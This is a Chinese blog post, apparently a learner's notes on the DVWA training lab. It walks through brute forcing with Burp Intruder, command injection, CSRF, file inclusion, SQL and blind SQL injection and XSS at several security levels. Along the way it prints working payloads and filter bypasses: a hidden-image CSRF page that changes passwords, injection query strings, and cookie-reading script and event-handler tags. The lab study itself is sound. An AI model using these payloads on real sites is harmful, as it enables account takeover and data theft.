DVWA-写给自己看的傻瓜式教程

最新推荐文章于 2024-05-16 15:47:44 发布
最新推荐文章于 2024-05-16 15:47:44 发布
阅读量2.5k 收藏 39
点赞数 9
文章标签： DVWA
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_39283174/article/details/102603934
版权

安装

下载PHPstudy

->官网下载

下载DVWA

->官网下载64位版本
->将压缩包解压在PHP study的WWW文件目录下
->将DVWA-master下config下的文件改名为config.inc.php
->将文件中密码改为root

配置DVWA

->打开http://localhost/dvwa-master/setup.php

->点击create,进入登陆页面即成功
->然而我第一次创建时候的提示是：

->然后根据网上搜的解决方法，把config下的php文件密码改成了空，依然不行
->然后我通过改PHP study里数据库的密码为123456

->php文件里的密码也改成了123456.

->然后重启PHP study
->创建成功，进入登陆页面

DVWA登录

->用户名admin,密码password

我也不知道为什么这次就成功了，也并不知道问题出在哪里，GG
我对着运行管理器看了半天端口问题，最后改密码倒是成功了
有小可爱会解答一下给我吗

暴力破解—弱口令漏洞

处置措施：限定登录错误次数、设置验证码、使用复杂强密码
挖掘方法：使用 GoogleHacking 语法进行寻找登录页面

inurl:login
intext:后台登录

遗留：ssh弱口令爆破？带验证码破解？密码加密？

Low/Medium

->Low与Medium,操作相同，但Medium时间延长
在这里插入图片描述
->抓包，send to intruder

Sniper –
这个是我们最常用的，Sniper是狙击手的意思。这个模式会使用单一的payload【就是导入字典的payload】组。它会针对每个position中$$位置设置payload。这种攻击类型适合对常见漏洞中的请求参数单独地进行测试。攻击中的请求总数应该是position数量和payload数量的乘积。
Battering ram –
这一模式是使用单一的payload组。它会重复payload并且一次把所有相同的payload放入指定的位置中。这种攻击适合那种需要在请求中把相同的输入放到多个位置的情况。请求的总数是payload组中payload的总数。简单说就是一个playload字典同时应用到多个position中
Pitchfork –
这一模式是使用多个payload组。对于定义的位置可以使用不同的payload组。攻击会同步迭代所有的payload组，把payload放入每个定义的位置中。比如：position中A处有a字典，B处有b字典，则a【1】将会对应b【1】进行attack处理，这种攻击类型非常适合那种不同位置中需要插入不同但相关的输入的情况。请求的数量应该是最小的payload组中的payload数量
Cluster bomb –
这种模式会使用多个payload组。每个定义的位置中有不同的payload组。攻击会迭代每个payload组，每种payload组合都会被测试一遍。比如：position中A处有a字典，B处有b字典，则两个字典将会循环搭配组合进行attack处理这种攻击适用于那种位置中需要不同且不相关或者未知的输入的攻击。攻击请求的总数是各payload组中payload数量的乘积

在这里插入图片描述
->start attack
在这里插入图片描述

High

->数据包多一字段,不能继续使用相同方法
在这里插入图片描述
->Pitchfork模式
在这里插入图片描述
->线程为1
在这里插入图片描述
->允许重定向
在这里插入图片描述
->通过正则截取response中信息
在这里插入图片描述
->分别设置字段字典
在这里插入图片描述
->爆破
在这里插入图片描述

命令注入

防范措施：禁用高危系统函数、严格过滤字符、限制允许的参数类型

问题：为什么不能使用net 命令

Low

问题一：乱码
在这里插入图片描述
解决方法：将dvwa目录下includes文件夹中dvwaPage.inc.php文件的编码格式由utf8改为GBK

在这里插入图片描述
->顺利ping 127.0.0.1

在这里插入图片描述
在这里插入图片描述

问题二：对net user 无反应？？？
经查，将php.ini中disable_functions中的shell_exec()删除
在这里插入图片描述
结果：依旧不行
在这里插入图片描述
其他命令可执行
在这里插入图片描述
在这里插入图片描述

Medium

->代码截图
在这里插入图片描述
->‘&&’已不可
在这里插入图片描述
->’&'可
在这里插入图片描述
->net user 依旧没反应（气炸）
在这里插入图片描述

High

->代码
在这里插入图片描述
->‘&&‘和’&‘都不可
->注意代码中’| '有一空格符
->执行127.0.0.1|ping www.baidu.com（符号后无空格）
在这里插入图片描述

CSRF—跨站请求伪造

防范措施：

Low

->抓取URL
在这里插入图片描述
->构造含链接文档

<img src="http://192.168.0.237/dvwa-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change" border="0" style="display:none;"/>
<h1>404</h1>
<h2>file notfound.</h2>

->页面效果

在这里插入图片描述
->使用与运行DVWA同一浏览器（同一浏览器才读得出cookie）打开HTML文档，即可篡改密码

Medium

->对比代码
->stripos() 函数查找字符串在另一字符串中第一次出现的位置（不区分大小写）
->意思即：在http包中referer字段处找到server_name服务器名=在伪造请求的连接中，referer字段要有被攻击方的服务器名
在这里插入图片描述
->构造伪造请求文档，文件名改为被攻击方ip（192.168.239.129.html），放在DVWA根目录下（本地127.0.0.1路径），使用相同浏览器访问
在这里插入图片描述
->查看包，referer中存在192.168.239.129（被攻击的用户服务器名，127.0.0.1相当于攻击方服务器）
在这里插入图片描述

问题：发现，点击此请求伪造连接，需要在DVWA登录状态时，若登出时点击，则无法更改密码，为什么？？？
因为一旦退出，则服务器与浏览器之间的会话已失效，具体可再看看CSRF原理

High

->分析源码，每次访问csrf页面，服务器会返回一个token值，向服务器发起请求时需要提交正确的token。
在这里插入图片描述
->利用xss存储型high漏洞，通过抓包修改，利用name框得到token值

<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName("user_token")[0].value)>

在这里插入图片描述
->抓包发现比之前多了一段user_token
在这里插入图片描述
->构造含链接文档

<img src="http://192.168.239.129/dvwa-master/vulnerabilities/csrf/?password_new=pass123&password_conf=pass123&Change=Change&user_token=24d57a8468208861a32da89b06a4de2d" border="0" style="display:none;"/>
<h1>404</h1>
<h2>file notfound.</h2>

->同一浏览器打开攻击文档，得到token后不可再次打开csrf页面，token会更新

Impossible

->改密码时需要输入原密码，若不知道原密码则无法进行CSRF攻击
在这里插入图片描述

文件包含

关于The PHP function allow_url_include is not enabled
除了改变dvwa路径下php.ini，还要改变extensions下php路径下的php.ini

Low

在这里插入图片描述
->将所有php.ini文件中allow_url_include改为on
在这里插入图片描述
->抓包，在父目录中放入1.txt
->txt文件中内容

<?php
   phpinfo();
?>

->改路径
在这里插入图片描述

Medium

->看源码
vulnerabilities/fi/source/medium.php

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

->可以看出，过滤了一部分字符

使用str_replace函数是极其不安全的，因为可以使用双写绕过替换规则。

例如page=hthttp://tp://192.168.5.12/phpinfo.txt时，str_replace函数会将http://删除，于是page=http://192.168.5.12/phpinfo.txt，成功执行远程命令。

同时，因为替换的只是“…/”、“…\”，所以对采用绝对路径的方式包含文件是不会受到任何限制的。

High

->分析源码

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
?>

->要求文件开头必须是file才会文件包含
->构造URL

192.168.239.129/dvwa-master/vulnerabilities/fi/?page=file:///C:\phpStudy_64\phpstudy_pro\WWW\DVWA-master/php.ini

在这里插入图片描述

文件上传

Low

Medium

High

Insecure CAPTCHA

Low

Medium

High

SQL注入

动手前查看了无数DVWA示例博客，自信满满的开始SQL注入

结果。。。不仅自己尝试失败，我还把我所有看过的示例放进去全都失败，配置好环境以后就这样被阻滞了进程。。。还没入门就劝退

经过两天的折腾与折磨，我终于发现问题所在——我的安全级别居然是——impossible！尼玛。。。

把级别换成LOW，我终于可以动手了。嘤嘤嘤。

Low

–>确认可注入（判断为字符型）

–>确认字段值
在这里插入图片描述
–>确认库名
在这里插入图片描述
–>确认全部库名
在这里插入图片描述

–>通过库名确认表名
在这里插入图片描述
在这里插入图片描述

–>通过表名确认字段名
在这里插入图片描述
在这里插入图片描述
–>通过字段名获取关键字段值
在这里插入图片描述
在这里插入图片描述
->获得了用户名与密码，over

问题一：为什么使用UNION联合查询 select 1,3不能显示表内全部行数？
在这里插入图片描述
在这里插入图片描述
解答：union 会自动去重，union all不去重
在这里插入图片描述

问题二为什么users不止两列，却只能使用到order by 2?
解答：order by 是根据你所查询的字段值来排序，而本页面查询字段值为2。
在这里插入图片描述

问题三
当我输入——1’ and 1=2 union select 1,table_name from information_schema.tables where table_schema=‘dvwa’#
页面报错：
在这里插入图片描述
经查，问题在于字符编码值不匹配。
查验数据库，排序规则不同
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

解决方法
输入
1’ and 1=2 union select ‘1’,table_name COLLATE utf8_general_ci from information_schema.tables where table_schema='dvwa
（but,这是我通过数据库直接查看了排序规则，若无法查看数据库，通过网页注入，如何解决？）

在这里插入图片描述
部分简易笔记
table_schema是数据库的名称
table_name是具体的表名
COLLATE转换字符编码排序规则（？）
库中找表–>from information_schema.tables
库中找列–>from information_schema.columns

Medium

->若无法抓包，可将localhost改为本地ip

->Medium注入页面
在这里插入图片描述
->使用Burpsuite
->打开浏览器-工具-Internet选项-局域网设置-代理服务器
在这里插入图片描述
->打开Burpsuite抓包（可判断为数字型注入）
在这里插入图片描述
->更改id(略过中间注入步骤)
在这里插入图片描述
->where table_schema='dvwa’报错，符号被限制，使用database()
在这里插入图片描述
->where table_name='users’报错，符号被限制，使用十六进制编码绕开
在这里插入图片描述

->获取user,password
在这里插入图片描述

High

->根据源代码可判断字符型注入
在这里插入图片描述
->与low注入步骤基本一致，区别在于不报错
在这里插入图片描述

->爆出用户名和密码
在这里插入图片描述

SQL注入（盲注）

1.判断是否存在注入，注入是字符型还是数字型

2.猜解当前数据库名

3.猜解数据库中的表名

4.猜解表中的字段名

5.猜解数据

Low

->判断是否存在注入
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
->存在字符型注入
->判断数据库名长度

1' and length(database()) = 4#

在这里插入图片描述
->使用二分法猜解数据库名

输入1’ and ascii(substr(databse(),1,1))>97
#，显示存在，说明数据库名的第一个字符的ascii值大于97（小写字母a的ascii值）；

输入1’ and ascii(substr(databse(),1,1))<122
#，显示存在，说明数据库名的第一个字符的ascii值小于122（小写字母z的ascii值）；

输入1’ and ascii(substr(databse(),1,1))<109
#，显示存在，说明数据库名的第一个字符的ascii值小于109（小写字母m的ascii值）；

输入1’ and ascii(substr(databse(),1,1))<103
#，显示存在，说明数据库名的第一个字符的ascii值小于103（小写字母g的ascii值）；

输入1’ and ascii(substr(databse(),1,1))<100
#，显示不存在，说明数据库名的第一个字符的ascii值不小于100（小写字母d的ascii值）；

输入1’ and ascii(substr(databse(),1,1))>100
#，显示不存在，说明数据库名的第一个字符的ascii值不大于100（小写字母d的ascii值），所以数据库名的第一个字符的ascii值为100，即小写字母d。

…
重复上述步骤，就可以猜解出完整的数据库名（dvwa）了。

1' and database()='dvwa' #

在这里插入图片描述

3.猜解数据库中的表名
首先猜解数据库中表的数量：

。。。
https://www.freebuf.com/articles/web/120985.html

Medium

High

Weak Session IDs

XSS(DOM)

https://blog.csdn.net/qq_36119192/article/details/82932557

Low

Medium

High

XSS(reflected)

Low

->代码无任何过滤，直接插入代码反射cookie

<script>alert(document.cookie)</script>

在这里插入图片描述

Medium

->分析代码
在这里插入图片描述
->html标签不区分大小写，将script大小写改动，绕过str_replace函数

<scripT>alert(document.cookie)</scripT>

在这里插入图片描述

High

->分析源码，对script标签做了 ==正则（？）==过滤
在这里插入图片描述
->换其他可用标签

<a href='' onclick=alert(document.cookie)>click1</a>
<body onload=alert(document.cookie)>
<img src='' onerror=alert(document.cookie)>

在这里插入图片描述

Impossible

->分析源码
在这里插入图片描述
->htmlspecialchars函数：把预定义的字符 “<” 和 “>” 转换为 HTML 实体，<>这两个标签字符变为html实体就无法构造标签攻击了

XSS(stored)

Low

->分析源码，可使用XSS反射型攻击方式，若受name长度限制，可先抓包再修改
->每当有人打开留言，就会执行注入的标签攻击
在这里插入图片描述

Medium

->分析代码，name过滤了script标签,message过滤了标签
在这里插入图片描述
->可通过抓包修改在name中注入标签攻击，绕过过滤

<scripT>alert(document.cookie)</scripT>

High

->分析源码，message过滤了标签，name使用正则过滤了script
在这里插入图片描述
->使用其他标签通过抓包修改，在name中注入标签攻击

<a href='' onclick=alert(document.cookie)>click1</a>
<body onload=alert(document.cookie)>
<img src='' onerror=alert(document.cookie)>

Imposiible

CSP Bypass

JavaScript Attacks

Low

->输入success
在这里插入图片描述
->分析源码
在这里插入图片描述
->将phrase的value值改为"success"或者直接在输入框内输入"success"
在这里插入图片描述
->在控制台执行generate_token() //必须先将phrase的value改为"success"再执行函数
在这里插入图片描述
->well done 执行成功
在这里插入图片描述

Medium

->分析源码
先执行do_elsesomething(“XX”),e=“XX”,再执行do_something(e)
在这里插入图片描述

->在控制台执行do_elsesomething(“XX”) //先将输入框的value改为success
在这里插入图片描述
->提交，well done

High

->js存在代码混淆
在这里插入图片描述
->混淆逆向网址-http://deobfuscatejavascript.com/
在这里插入图片描述
->分析代码，执行顺序
1.token_part_1(“ABCD”, 44);
2.token_part_2(“XX”)
3.点击时执行token_part_3(t, y = “ZZ”)
在这里插入图片描述
->在控制台操作
1.在框内输入success
2.执行token_part_1(“ABCD”, 44);
3.执行token_part_2(“XX”)
4.提交
在这里插入图片描述
->well done 提交成功

Impossible

在这里插入图片描述

邪邪邪邪邪助助助助助
关注
  • 9
    点赞
  • 踩
  • 39
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
ASCII字符基础知识
weixin_45468130的博客
01-27 1773
ASCII：American Standard Code for Information Interchange 标准ASCII 码：7 位二进制数（剩下的1位二进制为0）来表示所有的大写和小写字母，数字0 到9、标点符号，以及在美式英语中使用的特殊控制字符。 0～31及127(共33个)：控制字符或通信专用字符 32～126(共95个)：字符(32是空格），其中48～57为0到9十个阿拉伯数...
ASCII知识点
qq_43738982的博客
10-20 1013
ASCII 计算机是用数字编码来储存字符的，美国标准信息交换码ASCII码是最常用的编码。 American Standard Code for information Interchange 表中的 ^ 表示 Ctrl 键。 它包含了 33 个控制字符（具有某些特殊功能但是无法显示的字符）和 95 个可显示字符。这 33 个控制字符大都与通信、数据存储以及老式设备有关，有些在现代电脑中的含义已经改变了。 ASCII 编码中第 0~31 个字符（开头的 32 个字符）以及第 127 个字符（最后一个字符
dvwa问题篇 -- dvwa忘记密码，重置密码 -- 小黑解决教程_dvwa账号密码
最新发布
2401_84968371的博客
05-16 475
自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！
基础知识 - ASCII码
牧码的博客
03-19 1885
ASCII码 ASCII（American Standard Code for Information Interchange，美国标准信息交换代码） 基于拉于字母的一套电脑编码系统 主要用于显示现代英语和其他西欧语言 Ps1：标准ASCII码表示大小写字母、标点符号、美式英语中的控制字符等。 Ps2：扩展ASCI码表示特殊符号，外来语言的字母等。 ......
C语言内存、进制、ASCII码易混知识点
wangjun_huster的博客
04-07 1466
1、计算机数据在内存中的存储方式为：二进制。2、CPU、硬盘和内存 应用程序软件运行的时候：下载或保存的资料都是保存在硬盘中，断电后还在，内存中的数据断电后清除了。 为什么呢？内存包括RAM（主存随机存储器）、ROM（只读存储器，一次读入，反复使用）。以及CACHE（高速缓存）。 ROM（只读存储器）：在制造ROM的时候，信息（数据或程序）就被存入并永久保存。这些信息只能读出，一般不能写入，即使
关于ASCII字符集的知识点整理和如何实现任意字符串和字符串的插入
qq_43642831的博客
11-26 959
1.对于ASCII字符集的理解： 字符是以整数形式（字符的ASCII代码）存放在内存单位中的（个人理解：ASCII中附表为了我们习惯，才是用了十进制的形式一 一对应的，各个字符，可以用八进制，十六进制的数字对应相应的字符八（\0），（\xh[h┄])其中h代表一个十六进制数字，单撇号内只能包含一个字符，双撇号内可以包含一个字符串（但不包含双撇号本身）。字符的ASCII代码（以十进制表示）：0-25...
DVWA-master.zip
01-04
DVWA-master.zip文件包含了整个DVWA项目的源代码和相关资源，是学习和研究网络安全的理想工具。 1. **DVWA的结构与功能** DVWA由多个安全级别组成，包括“低”、“中”、“高”和“不可能”，每个级别都包含不同...
DVWA-master.7z 压缩包
09-14
这个"DVWA-master.7z"压缩包包含了完整的DVWA源代码和其他相关文件，用于在本地环境中搭建一个模拟的脆弱Web应用。 为了正确地使用这个压缩包，首先你需要下载它并使用解压缩工具（如7-Zip）将其解压。解压缩后，你...
登录DVWA
qq_49841288的博客
06-19 2123
搭建好环境一段时间不用就会忘记怎么用，在这里浅记一下： 额。。。其实有一个很简单的方法打开浏览器输入localhost/dvwa就可以了
DVWA通关教程（上）
qq_50854662的博客
05-22 1万+
简介： DVWA是一款基于PHP和mysql开发的web靶场练习平台，集成了常见的web漏洞如sql注入,xss，密码破解等常见漏洞。本教程将以DVWA为例，演示常见的web漏洞的利用和攻击。 登录创建数据库（账号为admin，密码为password） 登录后界面 在dvwa security选项中，可以调整dvwa的难易程度， Brute Force（暴力破解） Brute Force即为暴力破解，通过枚举获取管理员的账号和密码,在实际的操作中，一般用来破解后台管理系统的登录。
7-1web安全-DVWA环境搭建
南风知我意
08-27 1250
最新DVWA环境搭建
新手指南：DVWA 1.9 全级别教程
01-03
新手指南：DVWA 1.9 全级别教程
dvwa Command Injection命令执行
weixin_43326436的博客
06-12 334
1.Low 我搭建的是本地环境，ip为127.0.0.1，查看源码，发现并没有任何的过滤 使用命令:127.0.0.1 && net user 就可以得到账户用户。 2.medium 发现过滤了&&和： 我们可以进行输入127.0.0.1 & dir进行绕过。 3.High 打开源码查看，发现过滤的东西更多。 再一次尝试用127.0.0.1 && net user 发现也不可以了，会报错。 但是。但是。 这里发现了过滤这个|管道符的时候，后面多了一
phpStudy Apache启动后又停止问题的解决
热门推荐
weixin_40233697的博客
07-21 6万+
（windows 8.1系统下）开始自行搜索了关于Apache启动后又停止的问题。网上查到的原因：对于phpStudy启动失败，原因一是防火墙拦截，二是80端口已经被别的程序占用，如IIS，迅雷等；三是没有安装VC9运行库,php和apache都是VC9编译。这三个问题依次解决。 一.更改防火墙，打开控制面板——&gt;系统和安全——&gt;windows防火墙——&gt;允许的应用,然后将ph...
DVWA-master 环境搭建
nainaisheng的博客
06-18 3987
DVWA-master 环境搭建 首先下载安装phpStudy，下载地址 https://www.xp.cn/download.html ； 安装完成后点击“开启”； 在“其他选项菜单”中，点击phpMy-Admin，输入root root 登录，进入后创建名为dvwa的数据库： 开始安装DVWA-master 4. 将下载的包放到phpStudy的www目录下 ...
phpMyAdmin中的MYSQL服务打不开？| 无法登录DVWA 的问题 | Illegal mix of collations for operation ‘UNION‘
Java、C语言、嵌入式开发，计算机科学与技术专业（海南大学）
07-08 1224
打开PHPStudy之后点击mysql服务启动之后，会自动关闭，也就是无法正常启动，如何解决这个问题呢？ 网上看了很多教程说是端口号冲突，然后我用那个方法无法正常解决我的问题，然后就自己捣鼓了一下，可以正常打开了不过使用 这个方法有个前提条件是你的任务管理器中有mysqld.exe进程然后按照一下步骤进行操作：最后发现原来是账号和密码写错了，DVWA的默认账号和密码是admin/password，结果我直接用数据库的密码了emmm在输入框输入 报错：解决方案：此问题为编码排序规则问题，将数据库中的数据编码排
Windows10环境搭建DVWA及遇到的坑解决办法
DSP_FFT的博客
05-31 4498
Windows10环境搭建sqli-labs 搭建环境 用的是WIN10+phpstudy DVWA下载地址：https://github.com/digininja/DVWA phpstudy下载地址:https://www.xp.cn/ 部署网站 将下载好的DVWA解压到phpstudy的WWW目录下 启动phpstudy 选择PHP环境，这里最好选择php5.6.9。 创建数据库，设置账号密码root/root 安装phpmyadmin,方便导入数据库 修改config配置文件（PS:将后
dvwa问题篇 -- dvwa忘记密码，重置密码 -- 小黑解决教程
G_WEB_Xie的博客
12-27 2356
各位小伙伴初次玩dvwa会出现各种问题，本来想把一些问题直接总结写一篇dvwa文章来着，但因为都是关键字搜索，所以将一些问题都拆分出来，以便大家方便查类似问题。（大家有遇到不一样的问题欢迎投稿！访问localhost/DVWA-master/setup.php 点击Create / Reset Database. 重置数据库。在某次做csrf实验中，把dvwa密码改了，在登录页面一直跳转....然后就可以登录dvwa了，默认的账户密码是admin/password。
DVWA 登录失败
qq_62863311的博客
10-26 760
dvwa无法登录问题
dvwa-master zip
07-28
dvwa-master zip是一个开源的漏洞脆弱性应用程序，用于进行网络安全测试和漏洞扫描。 具体而言，dvwa-master zip是一个基于PHP和MySQL开发的靶场平台，旨在帮助用户了解和学习网络安全漏洞。它模拟了多种常见的Web...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值